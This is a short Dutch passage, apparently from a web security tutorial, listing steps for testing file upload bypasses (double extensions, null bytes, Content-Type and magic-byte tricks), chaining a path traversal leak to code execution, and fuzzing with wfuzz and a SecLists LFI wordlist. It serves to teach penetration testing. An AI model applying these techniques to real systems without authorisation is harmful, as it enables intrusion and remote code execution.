  7. Test file upload bypasses: Extensie-varianten, double extensions, null bytes, Content-Type manipulatie, magic bytes.

  8. Documenteer de keten: Van initieel lek tot code execution, stap voor stap.

IB – Gebruik de fuzzing tip uit web_lfi_traversal: combineer wfuzz met de SecLists LFI-Jhaddix.txt wordlist voor uitgebreide path traversal fuzzing. Dit is sneller en grondiger dan handmatig testen.


Twee puntjes en een schuine streep. Drie karakters die al dertig jaar lang het verschil maken tussen “veilig” en “volledig gecompromitteerd”. Het is bijna poëtisch in zijn eenvoud. Bijna.